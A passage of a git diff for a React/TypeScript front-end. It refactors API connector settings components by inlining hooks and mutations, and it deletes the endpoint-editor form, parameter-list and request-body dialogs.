+import {CollapsibleTrigger} from '@/components/ui/collapsible';
 import {
     DropdownMenu,
     DropdownMenuContent,
@@ -10,30 +10,60 @@ import {
 import {Switch} from '@/components/ui/switch';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import ApiConnectorDeleteAlertDialog from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorDeleteAlertDialog';
-import ApiConnectorEditDialog from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorEditDialog';
-import ApiConnectorEndpointListItem from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorEndpointListItem';
-import {ApiConnector} from '@/shared/middleware/graphql';
+import ApiConnectorImportDialog from '@/ee/pages/settings/platform/api-connectors/components/ApiConnectorImportDialog';
+import {ApiConnector} from '@/ee/shared/middleware/platform/api-connector';
+import {
+    useDeleteApiConnectorMutation,
+    useEnableApiConnectorMutation,
+} from '@/ee/shared/mutations/platform/apiConnector.mutations';
+import {ApiConnectorKeys} from '@/ee/shared/queries/platform/apiConnectors.queries';
+import {useQueryClient} from '@tanstack/react-query';
 import {ChevronDownIcon, EllipsisVerticalIcon} from 'lucide-react';
-
-import useApiConnectorListItem from './hooks/useApiConnectorListItem';
+import {useState} from 'react';
 
 interface ApiConnectorItemProps {
     apiConnector: ApiConnector;
 }
 
 const ApiConnectorListItem = ({apiConnector}: ApiConnectorItemProps) => {
-    const {
-        handleAlertDeleteDialogClick,
-        handleOnCheckedChange,
-        lastModifiedDate,
-        setShowDeleteDialog,
-        setShowEditDialog,
-        showDeleteDialog,
-        showEditDialog,
-    } = useApiConnectorListItem({apiConnector});
+    const [showEditDialog, setShowEditDialog] = useState(false);
+    const [showDeleteDialog, setShowDeleteDialog] = useState(false);
+
+    const queryClient = useQueryClient();
+
+    const deleteApiConnectorMutation = useDeleteApiConnectorMutation({
+        onSuccess: () => {
+            queryClient.invalidateQueries({
+                queryKey: ApiConnectorKeys.apiConnectors,
+            });
+        },
+    });
+
+    const enableApiConnectorMutation = useEnableApiConnectorMutation({
+        onSuccess: () => {
+            queryClient.invalidateQueries({
+                queryKey: ApiConnectorKeys.apiConnectors,
+            });
+        },
+    });
+
+    const handleAlertDeleteDialogClick = () => {
+        if (apiConnector.id) {
+            deleteApiConnectorMutation.mutate(apiConnector.id);
+
+            setShowDeleteDialog(false);
+        }
+    };
+
+    const handleOnCheckedChange = (value: boolean) => {
+        enableApiConnectorMutation.mutate({
+            enable: value,
+            id: apiConnector.id!,
+        });
+    };
 
     return (
-        <Collapsible className="w-full rounded-md px-2 py-5 hover:bg-gray-50">
+        <div className="w-full rounded-md px-2 py-5 hover:bg-gray-50">
             <div className="flex items-center justify-between">
                 <div className="flex-1">
                     <div className="flex items-center justify-between">
@@ -81,30 +111,28 @@ const ApiConnectorListItem = ({apiConnector}: ApiConnectorItemProps) => {
 
                 <div className="flex items-center justify-end gap-x-6">
                     <div className="flex flex-col items-end gap-y-4">
-                        <Switch checked={apiConnector.enabled ?? false} onCheckedChange={handleOnCheckedChange} />
+                        <Switch checked={apiConnector.enabled} onCheckedChange={handleOnCheckedChange} />
 
                         <Tooltip>
                             <TooltipTrigger className="flex items-center text-sm text-gray-500">
-                                {lastModifiedDate ? (
+                                {apiConnector.lastModifiedDate ? (
                                     <span className="text-xs">
-                                        {`Modified at ${lastModifiedDate.toLocaleDateString()} ${lastModifiedDate.toLocaleTimeString()}`}
+                                        {`Modified at ${apiConnector.lastModifiedDate?.toLocaleDateString()} ${apiConnector.lastModifiedDate?.toLocaleTimeString()}`}
                                     </span>
                                 ) : (
                                     '-'
                                 )}
                             </TooltipTrigger>
 
-                            <TooltipContent>Modified Date</TooltipContent>
+                            <TooltipContent>Created Date</TooltipContent>
                         </Tooltip>
                     </div>
 
                     <DropdownMenu>
                         <DropdownMenuTrigger asChild>
-                            <Button
-                                icon={<EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />}
-                                size="icon"
-                                variant="ghost"
-                            />
+                            <Button size="icon" variant="ghost">
+                                <EllipsisVerticalIcon className="size-4 hover:cursor-pointer" />
+                            </Button>
                         </DropdownMenuTrigger>
 
                         <DropdownMenuContent align="end">
@@ -120,27 +148,6 @@ const ApiConnectorListItem = ({apiConnector}: ApiConnectorItemProps) => {
                 </div>
             </div>
 
-            <CollapsibleContent className="mt-4">
-                {apiConnector.endpoints && apiConnector.endpoints.length > 0 ? (
-                    <ul className="space-y-1 border-t pt-4">
-                        {apiConnector.endpoints.map((endpoint) => (
-                            <li
-                                className="flex items-center justify-between rounded-md p-2 hover:bg-gray-50"
-                                key={endpoint.id}
-                            >
-                                <ApiConnectorEndpointListItem
-                                    apiConnectorEndpoint={endpoint}
-                                    apiConnectorName={apiConnector.name}
-                                    specification={apiConnector.specification ?? undefined}
-                                />
-                            </li>
-                        ))}
-                    </ul>
-                ) : (
-                    <div className="border-t pt-4 text-center text-sm text-gray-500">No endpoints configured</div>
-                )}
-            </CollapsibleContent>
-
             {showDeleteDialog && (
                 <ApiConnectorDeleteAlertDialog
                     onClose={() => setShowDeleteDialog(false)}
@@ -149,9 +156,9 @@ const ApiConnectorListItem = ({apiConnector}: ApiConnectorItemProps) => {
             )}
 
             {showEditDialog && (
-                <ApiConnectorEditDialog apiConnector={apiConnector} onClose={() => setShowEditDialog(false)} />
+                <ApiConnectorImportDialog apiConnector={apiConnector} onClose={() => setShowEditDialog(false)} />
             )}
-        </Collapsible>
+        </div>
     );
 };
 
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/IconField.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/IconField.tsx
index 3d3c6890fae..c0b8a5e8f1d 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/components/IconField.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/IconField.tsx
@@ -1,19 +1,30 @@
-import Button from '@/components/Button/Button';
 import {Avatar, AvatarImage} from '@/components/ui/avatar';
+import {Button} from '@/components/ui/button';
+import {ChangeEvent, useRef, useState} from 'react';
 import {ControllerRenderProps, FieldPath, FieldValues} from 'react-hook-form';
 
-import useIconField from './hooks/useIconField';
+const IconField = <T extends FieldValues, K extends FieldPath<T>>({field}: {field: ControllerRenderProps<T, K>}) => {
+    const hiddenInputRef = useRef<HTMLInputElement>(null);
 
-interface IconFieldProps<T extends FieldValues, K extends FieldPath<T>> {
-    field: ControllerRenderProps<T, K>;
-    onIconChange?: (value: string) => void;
-}
+    const [preview, setPreview] = useState<string>();
 
-const IconField = <T extends FieldValues, K extends FieldPath<T>>({field, onIconChange}: IconFieldProps<T, K>) => {
-    const {handleUploadedFile, hiddenInputRef, onUpload, preview, uploadButtonLabel} = useIconField({
-        field,
-        onIconChange,
-    });
+    const handleUploadedFile = async (event: ChangeEvent<HTMLInputElement>) => {
+        const file = event.target.files?.item(0);
+
+        if (file) {
+            field.onChange(await file.text());
+
+            const urlIcon = URL.createObjectURL(file);
+
+            setPreview(urlIcon);
+        }
+    };
+
+    const onUpload = () => {
+        hiddenInputRef.current?.click();
+    };
+
+    const uploadButtonLabel = preview ? 'Change icon' : 'Upload icon';
 
     return (
         <div className="flex items-center space-x-1">
@@ -30,7 +41,7 @@ const IconField = <T extends FieldValues, K extends FieldPath<T>>({field, onIcon
             <input
                 accept=".svg"
                 className="hidden"
-                onChange={(event) => handleUploadedFile(event)}
+                onChange={(e) => handleUploadedFile(e)}
                 ref={hiddenInputRef}
                 type="file"
                 value=""
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField.tsx
index f1d1923f74e..00690d6c946 100644
--- a/client/src/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField.tsx
+++ b/client/src/ee/pages/settings/platform/api-connectors/components/OpenApiSpecificationField.tsx
@@ -1,16 +1,36 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
+import {ChangeEvent, useRef, useState} from 'react';
 import {ControllerRenderProps, FieldPath, FieldValues} from 'react-hook-form';
 
-import useOpenApiSpecificationField from './hooks/useOpenApiSpecificationField';
-
 const OpenApiSpecificationField = <T extends FieldValues, K extends FieldPath<T>>({
     field,
 }: {
     field: ControllerRenderProps<T, K>;
 }) => {
-    const {handleUploadedFile, hiddenInputRef, name, onUpload, uploadButtonLabel} = useOpenApiSpecificationField({
-        field,
-    });
+    const hiddenInputRef = useRef<HTMLInputElement>(null);
+
+    const [name, setName] = useState<string>();
+    const [preview, setPreview] = useState<string>();
+
+    const handleUploadedFile = async (event: ChangeEvent<HTMLInputElement>) => {
+        const file = event.target.files?.item(0);
+
+        if (file) {
+            setName(file.name);
+
+            field.onChange(await file.text());
+
+            const urlIcon = URL.createObjectURL(file);
+
+            setPreview(urlIcon);
+        }
+    };
+
+    const onUpload = () => {
+        hiddenInputRef.current?.click();
+    };
+
+    const uploadButtonLabel = preview ? 'Change spec' : 'Upload spec';
 
     return (
         <div className="flex items-center space-x-4">
@@ -23,7 +43,7 @@ const OpenApiSpecificationField = <T extends FieldValues, K extends FieldPath<T>
             <input
                 accept=".yml,.yaml"
                 className="hidden"
-                onChange={(event) => handleUploadedFile(event)}
+                onChange={(e) => handleUploadedFile(e)}
                 ref={hiddenInputRef}
                 type="file"
                 value=""
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointForm.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointForm.tsx
deleted file mode 100644
index 4ee40e4a9df..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointForm.tsx
+++ /dev/null
@@ -1,209 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogClose,
-    DialogCloseButton,
-    DialogContent,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import {Tabs, TabsContent, TabsList, TabsTrigger} from '@/components/ui/tabs';
-import {Textarea} from '@/components/ui/textarea';
-import {HttpMethod} from '@/shared/middleware/graphql';
-import {CodeIcon, FormInputIcon} from 'lucide-react';
-
-import {EndpointDefinitionI} from '../../types/api-connector-wizard.types';
-import EndpointYamlEditor from './EndpointYamlEditor';
-import ParameterList from './ParameterList';
-import RequestBodyEditor from './RequestBodyEditor';
-import ResponseEditor from './ResponseEditor';
-import useEndpointForm from './hooks/useEndpointForm';
-
-interface EndpointFormProps {
-    endpoint?: EndpointDefinitionI;
-    onClose: () => void;
-    onSave: (endpoint: EndpointDefinitionI) => void;
-    open: boolean;
-}
-
-const EndpointForm = ({endpoint, onClose, onSave, open}: EndpointFormProps) => {
-    const {
-        control,
-        editorMode,
-        handleModeChange,
-        handleSaveEndpoint,
-        handleSetParameters,
-        handleSetRequestBody,
-        handleSetResponses,
-        handleSetYamlValue,
-        handleSubmit,
-        parameters,
-        requestBody,
-        responses,
-        yamlValue,
-    } = useEndpointForm({endpoint, onClose, onSave, open});
-
-    return (
-        <Dialog onOpenChange={(isOpen) => !isOpen && onClose()} open={open}>
-            <DialogContent className="max-h-[90vh] max-w-2xl overflow-hidden">
-                <form className="flex flex-col gap-4" onSubmit={handleSubmit(handleSaveEndpoint)}>
-                    <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                        <DialogTitle>{endpoint ? 'Edit' : 'Add'} Endpoint</DialogTitle>
-
-                        <DialogCloseButton />
-                    </DialogHeader>
-
-                    <Tabs className="w-full" onValueChange={handleModeChange} value={editorMode}>
-                        <TabsList className="grid h-8 w-full grid-cols-2">
-                            <TabsTrigger className="flex items-center gap-1.5 text-xs" value="form">
-                                <FormInputIcon className="size-3" />
-                                Form
-                            </TabsTrigger>
-
-                            <TabsTrigger className="flex items-center gap-1.5 text-xs" value="yaml">
-                                <CodeIcon className="size-3" />
-                                YAML
-                            </TabsTrigger>
-                        </TabsList>
-
-                        <TabsContent className="max-h-[60vh] overflow-y-auto" value="form">
-                            <div className="flex flex-col gap-4 py-2">
-                                <div className="grid grid-cols-3 gap-4">
-                                    <FormField
-                                        control={control}
-                                        name="httpMethod"
-                                        render={({field}) => (
-                                            <FormItem>
-                                                <FormLabel>Method</FormLabel>
-
-                                                <Select onValueChange={field.onChange} value={field.value}>
-                                                    <FormControl>
-                                                        <SelectTrigger>
-                                                            <SelectValue />
-                                                        </SelectTrigger>
-                                                    </FormControl>
-
-                                                    <SelectContent>
-                                                        <SelectItem value={HttpMethod.Get}>GET</SelectItem>
-
-                                                        <SelectItem value={HttpMethod.Post}>POST</SelectItem>
-
-                                                        <SelectItem value={HttpMethod.Put}>PUT</SelectItem>
-
-                                                        <SelectItem value={HttpMethod.Patch}>PATCH</SelectItem>
-
-                                                        <SelectItem value={HttpMethod.Delete}>DELETE</SelectItem>
-                                                    </SelectContent>
-                                                </Select>
-
-                                                <FormMessage />
-                                            </FormItem>
-                                        )}
-                                    />
-
-                                    <FormField
-                                        control={control}
-                                        name="path"
-                                        render={({field}) => (
-                                            <FormItem className="col-span-2">
-                                                <FormLabel>Path</FormLabel>
-
-                                                <FormControl>
-                                                    <Input placeholder="/users/{id}" {...field} />
-                                                </FormControl>
-
-                                                <FormMessage />
-                                            </FormItem>
-                                        )}
-                                        rules={{required: 'Path is required'}}
-                                    />
-                                </div>
-
-                                <FormField
-                                    control={control}
-                                    name="operationId"
-                                    render={({field}) => (
-                                        <FormItem>
-                                            <FormLabel>Operation ID</FormLabel>
-
-                                            <FormControl>
-                                                <Input placeholder="getUserById" {...field} />
-                                            </FormControl>
-
-                                            <FormMessage />
-                                        </FormItem>
-                                    )}
-                                    rules={{required: 'Operation ID is required'}}
-                                />
-
-                                <FormField
-                                    control={control}
-                                    name="summary"
-                                    render={({field}) => (
-                                        <FormItem>
-                                            <FormLabel>Summary</FormLabel>
-
-                                            <FormControl>
-                                                <Input placeholder="Get a user by ID" {...field} />
-                                            </FormControl>
-
-                                            <FormMessage />
-                                        </FormItem>
-                                    )}
-                                />
-
-                                <FormField
-                                    control={control}
-                                    name="description"
-                                    render={({field}) => (
-                                        <FormItem>
-                                            <FormLabel>Description</FormLabel>
-
-                                            <FormControl>
-                                                <Textarea placeholder="Detailed description..." rows={2} {...field} />
-                                            </FormControl>
-
-                                            <FormMessage />
-                                        </FormItem>
-                                    )}
-                                />
-
-                                <div className="border-t pt-4">
-                                    <ParameterList onChange={handleSetParameters} parameters={parameters} />
-                                </div>
-
-                                <div className="border-t pt-4">
-                                    <RequestBodyEditor onChange={handleSetRequestBody} requestBody={requestBody} />
-                                </div>
-
-                                <div className="border-t pt-4">
-                                    <ResponseEditor onChange={handleSetResponses} responses={responses} />
-                                </div>
-                            </div>
-                        </TabsContent>
-
-                        <TabsContent className="mt-4" value="yaml">
-                            <EndpointYamlEditor onChange={handleSetYamlValue} value={yamlValue} />
-                        </TabsContent>
-                    </Tabs>
-
-                    <DialogFooter>
-                        <DialogClose asChild>
-                            <Button type="button" variant="outline">
-                                Cancel
-                            </Button>
-                        </DialogClose>
-
-                        <Button type="submit">{endpoint ? 'Update' : 'Add'}</Button>
-                    </DialogFooter>
-                </form>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default EndpointForm;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointYamlEditor.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointYamlEditor.tsx
deleted file mode 100644
index 5da384fa9a6..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/EndpointYamlEditor.tsx
+++ /dev/null
@@ -1,33 +0,0 @@
-import MonacoEditorWrapper from '@/shared/components/MonacoEditorWrapper';
-
-interface EndpointYamlEditorProps {
-    onChange: (value: string) => void;
-    value: string;
-}
-
-const EndpointYamlEditor = ({onChange, value}: EndpointYamlEditorProps) => {
-    const editorOptions = {
-        automaticLayout: true,
-        folding: true,
-        fontSize: 12,
-        lineNumbers: 'on' as const,
-        minimap: {enabled: false},
-        scrollBeyondLastLine: false,
-        tabSize: 2,
-        wordWrap: 'on' as const,
-    };
-
-    return (
-        <div className="h-80 overflow-hidden rounded-md border">
-            <MonacoEditorWrapper
-                defaultLanguage="yaml"
-                onChange={(newValue) => onChange(newValue || '')}
-                onMount={() => {}}
-                options={editorOptions}
-                value={value}
-            />
-        </div>
-    );
-};
-
-export default EndpointYamlEditor;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ParameterList.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ParameterList.tsx
deleted file mode 100644
index a185b0a08a1..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ParameterList.tsx
+++ /dev/null
@@ -1,264 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Checkbox} from '@/components/ui/checkbox';
-import {
-    Dialog,
-    DialogClose,
-    DialogCloseButton,
-    DialogContent,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import {PlusIcon, Trash2Icon} from 'lucide-react';
-import {KeyboardEvent, useCallback} from 'react';
-
-import {ParameterDefinitionI} from '../../types/api-connector-wizard.types';
-import {getLocationLabel} from '../../utils/endpointEditor-utils';
-import useParameterList from './hooks/useParameterList';
-
-interface ParameterListProps {
-    onChange: (parameters: ParameterDefinitionI[]) => void;
-    parameters: ParameterDefinitionI[];
-}
-
-const ParameterList = ({onChange, parameters}: ParameterListProps) => {
-    const {
-        control,
-        editingParameter,
-        handleAddDialog,
-        handleDialogOpen,
-        handleEditDialog,
-        handleRemoveParameter,
-        handleSaveParameter,
-        handleSubmit,
-        isDialogOpen,
-    } = useParameterList({onChange, parameters});
-
-    const handleKeyDown = useCallback(
-        (event: KeyboardEvent<HTMLLIElement>, parameter: ParameterDefinitionI) => {
-            if (event.key === 'Enter' || event.key === ' ') {
-                event.preventDefault();
-
-                handleEditDialog(parameter);
-            }
-        },
-        [handleEditDialog]
-    );
-
-    return (
-        <div className="flex flex-col gap-2">
-            <div className="flex items-center justify-between">
-                <span className="text-sm font-medium">Parameters</span>
-
-                <Button
-                    icon={<PlusIcon className="size-3" />}
-                    onClick={handleAddDialog}
-                    size="sm"
-                    type="button"
-                    variant="ghost"
-                >
-                    Add
-                </Button>
-            </div>
-
-            {parameters.length === 0 ? (
-                <p className="text-xs text-muted-foreground">No parameters defined.</p>
-            ) : (
-                <ul className="divide-y rounded-md border text-sm">
-                    {parameters.map((parameter) => {
-                        const locationLabel = getLocationLabel(parameter.in);
-
-                        return (
-                            <li
-                                className="flex cursor-pointer items-center justify-between p-2 hover:bg-gray-50"
-                                key={parameter.id}
-                                onClick={() => handleEditDialog(parameter)}
-                                onKeyDown={(event) => handleKeyDown(event, parameter)}
-                                role="button"
-                                tabIndex={0}
-                            >
-                                <div className="flex items-center gap-2">
-                                    <span className="rounded bg-gray-100 px-1.5 py-0.5 text-xs">{locationLabel}</span>
-
-                                    <span className="font-medium">{parameter.name}</span>
-
-                                    <span className="text-xs text-gray-500">({parameter.type})</span>
-
-                                    {parameter.required && <span className="text-xs text-red-500">*</span>}
-                                </div>
-
-                                <Button
-                                    aria-label="Remove parameter"
-                                    icon={<Trash2Icon className="size-3" />}
-                                    onClick={(event) => {
-                                        event.stopPropagation();
-                                        handleRemoveParameter(parameter.id);
-                                    }}
-                                    size="icon"
-                                    type="button"
-                                    variant="ghost"
-                                />
-                            </li>
-                        );
-                    })}
-                </ul>
-            )}
-
-            <Dialog onOpenChange={handleDialogOpen} open={isDialogOpen}>
-                <DialogContent>
-                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(handleSaveParameter)}>
-                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                            <DialogTitle>{editingParameter ? 'Edit' : 'Add'} Parameter</DialogTitle>
-
-                            <DialogCloseButton />
-                        </DialogHeader>
-
-                        <div className="grid grid-cols-2 gap-4">
-                            <FormField
-                                control={control}
-                                name="name"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Name</FormLabel>
-
-                                        <FormControl>
-                                            <Input placeholder="userId" {...field} />
-                                        </FormControl>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                                rules={{required: 'Name is required'}}
-                            />
-
-                            <FormField
-                                control={control}
-                                name="in"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Location</FormLabel>
-
-                                        <Select onValueChange={field.onChange} value={field.value}>
-                                            <FormControl>
-                                                <SelectTrigger>
-                                                    <SelectValue />
-                                                </SelectTrigger>
-                                            </FormControl>
-
-                                            <SelectContent>
-                                                <SelectItem value="query">Query</SelectItem>
-
-                                                <SelectItem value="path">Path</SelectItem>
-
-                                                <SelectItem value="header">Header</SelectItem>
-                                            </SelectContent>
-                                        </Select>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                            />
-                        </div>
-
-                        <div className="grid grid-cols-2 gap-4">
-                            <FormField
-                                control={control}
-                                name="type"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Type</FormLabel>
-
-                                        <Select onValueChange={field.onChange} value={field.value}>
-                                            <FormControl>
-                                                <SelectTrigger>
-                                                    <SelectValue />
-                                                </SelectTrigger>
-                                            </FormControl>
-
-                                            <SelectContent>
-                                                <SelectItem value="string">String</SelectItem>
-
-                                                <SelectItem value="number">Number</SelectItem>
-
-                                                <SelectItem value="integer">Integer</SelectItem>
-
-                                                <SelectItem value="boolean">Boolean</SelectItem>
-
-                                                <SelectItem value="array">Array</SelectItem>
-
-                                                <SelectItem value="object">Object</SelectItem>
-                                            </SelectContent>
-                                        </Select>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                            />
-
-                            <FormField
-                                control={control}
-                                name="example"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Example</FormLabel>
-
-                                        <FormControl>
-                                            <Input placeholder="123" {...field} />
-                                        </FormControl>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                            />
-                        </div>
-
-                        <FormField
-                            control={control}
-                            name="description"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Description</FormLabel>
-
-                                    <FormControl>
-                                        <Input placeholder="The unique user identifier" {...field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="required"
-                            render={({field}) => (
-                                <FormItem className="flex items-center gap-2 space-y-0">
-                                    <FormControl>
-                                        <Checkbox checked={field.value} onCheckedChange={field.onChange} />
-                                    </FormControl>
-
-                                    <FormLabel className="font-normal">Required</FormLabel>
-                                </FormItem>
-                            )}
-                        />
-
-                        <DialogFooter>
-                            <DialogClose asChild>
-                                <Button type="button" variant="outline">
-                                    Cancel
-                                </Button>
-                            </DialogClose>
-
-                            <Button type="submit">{editingParameter ? 'Update' : 'Add'}</Button>
-                        </DialogFooter>
-                    </form>
-                </DialogContent>
-            </Dialog>
-        </div>
-    );
-};
-
-export default ParameterList;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/RequestBodyEditor.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/RequestBodyEditor.tsx
deleted file mode 100644
index 44eddeb03f5..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/RequestBodyEditor.tsx
+++ /dev/null
@@ -1,227 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Checkbox} from '@/components/ui/checkbox';
-import {
-    Dialog,
-    DialogClose,
-    DialogCloseButton,
-    DialogContent,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import MonacoEditorWrapper from '@/shared/components/MonacoEditorWrapper';
-import {EditIcon, PlusIcon, Trash2Icon} from 'lucide-react';
-
-import {RequestBodyDefinitionI} from '../../types/api-connector-wizard.types';
-import useRequestBodyEditor from './hooks/useRequestBodyEditor';
-
-interface RequestBodyEditorProps {
-    onChange: (requestBody?: RequestBodyDefinitionI) => void;
-    requestBody?: RequestBodyDefinitionI;
-}
-
-const RequestBodyEditor = ({onChange, requestBody}: RequestBodyEditorProps) => {
-    const {
-        control,
-        handleDialogOpen,
-        handleOpenDialog,
-        handleRemoveRequestBody,
-        handleSaveRequestBody,
-        handleSubmit,
-        isDialogOpen,
-    } = useRequestBodyEditor({onChange, requestBody});
-
-    return (
-        <div className="flex flex-col gap-2">
-            <div className="flex items-center justify-between">
-                <span className="text-sm font-medium">Request Body</span>
-
-                {!requestBody ? (
-                    <Button
-                        icon={<PlusIcon className="size-3" />}
-                        onClick={handleOpenDialog}
-                        size="sm"
-                        type="button"
-                        variant="ghost"
-                    >
-                        Add
-                    </Button>
-                ) : (
-                    <div className="flex gap-1">
-                        <Button
-                            aria-label="Edit request body"
-                            icon={<EditIcon className="size-3" />}
-                            onClick={handleOpenDialog}
-                            size="icon"
-                            type="button"
-                            variant="ghost"
-                        />
-
-                        <Button
-                            aria-label="Remove request body"
-                            icon={<Trash2Icon className="size-3" />}
-                            onClick={handleRemoveRequestBody}
-                            size="icon"
-                            type="button"
-                            variant="ghost"
-                        />
-                    </div>
-                )}
-            </div>
-
-            {requestBody ? (
-                <div className="rounded-md border p-2 text-sm">
-                    <div className="flex items-center gap-2">
-                        <span className="rounded bg-gray-100 px-1.5 py-0.5 text-xs">{requestBody.contentType}</span>
-
-                        {requestBody.required && <span className="text-xs text-red-500">Required</span>}
-                    </div>
-
-                    {requestBody.description && <p className="mt-1 text-xs text-gray-500">{requestBody.description}</p>}
-                </div>
-            ) : (
-                <p className="text-xs text-muted-foreground">No request body defined.</p>
-            )}
-
-            <Dialog onOpenChange={handleDialogOpen} open={isDialogOpen}>
-                <DialogContent className="max-w-lg">
-                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(handleSaveRequestBody)}>
-                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                            <DialogTitle>{requestBody ? 'Edit' : 'Add'} Request Body</DialogTitle>
-
-                            <DialogCloseButton />
-                        </DialogHeader>
-
-                        <FormField
-                            control={control}
-                            name="contentType"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Content Type</FormLabel>
-
-                                    <Select onValueChange={field.onChange} value={field.value}>
-                                        <FormControl>
-                                            <SelectTrigger>
-                                                <SelectValue />
-                                            </SelectTrigger>
-                                        </FormControl>
-
-                                        <SelectContent>
-                                            <SelectItem value="application/json">application/json</SelectItem>
-
-                                            <SelectItem value="application/xml">application/xml</SelectItem>
-
-                                            <SelectItem value="multipart/form-data">multipart/form-data</SelectItem>
-
-                                            <SelectItem value="application/x-www-form-urlencoded">
-                                                application/x-www-form-urlencoded
-                                            </SelectItem>
-
-                                            <SelectItem value="text/plain">text/plain</SelectItem>
-                                        </SelectContent>
-                                    </Select>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="description"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Description</FormLabel>
-
-                                    <FormControl>
-                                        <Input placeholder="Request body description" {...field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="schema"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>JSON Schema</FormLabel>
-
-                                    <FormControl>
-                                        <div className="h-48 overflow-hidden rounded-md border">
-                                            <MonacoEditorWrapper
-                                                defaultLanguage="json"
-                                                onChange={(value) => field.onChange(value || '')}
-                                                onMount={() => {}}
-                                                options={{
-                                                    automaticLayout: true,
-                                                    folding: true,
-                                                    fontSize: 12,
-                                                    lineNumbers: 'on',
-                                                    minimap: {enabled: false},
-                                                    scrollBeyondLastLine: false,
-                                                    tabSize: 2,
-                                                    wordWrap: 'on',
-                                                }}
-                                                value={field.value}
-                                            />
-                                        </div>
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                            rules={{
-                                required: 'Schema is required',
-                                validate: (value: string) => {
-                                    if (!value || value.trim().length === 0) {
-                                        return 'Schema is required';
-                                    }
-
-                                    try {
-                                        JSON.parse(value);
-
-                                        return true;
-                                    } catch {
-                                        return 'Schema must be valid JSON';
-                                    }
-                                },
-                            }}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="required"
-                            render={({field}) => (
-                                <FormItem className="flex items-center gap-2 space-y-0">
-                                    <FormControl>
-                                        <Checkbox checked={field.value} onCheckedChange={field.onChange} />
-                                    </FormControl>
-
-                                    <FormLabel className="font-normal">Required</FormLabel>
-                                </FormItem>
-                            )}
-                        />
-
-                        <DialogFooter>
-                            <DialogClose asChild>
-                                <Button type="button" variant="outline">
-                                    Cancel
-                                </Button>
-                            </DialogClose>
-
-                            <Button type="submit">{requestBody ? 'Update' : 'Add'}</Button>
-                        </DialogFooter>
-                    </form>
-                </DialogContent>
-            </Dialog>
-        </div>
-    );
-};
-
-export default RequestBodyEditor;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ResponseEditor.tsx b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ResponseEditor.tsx
deleted file mode 100644
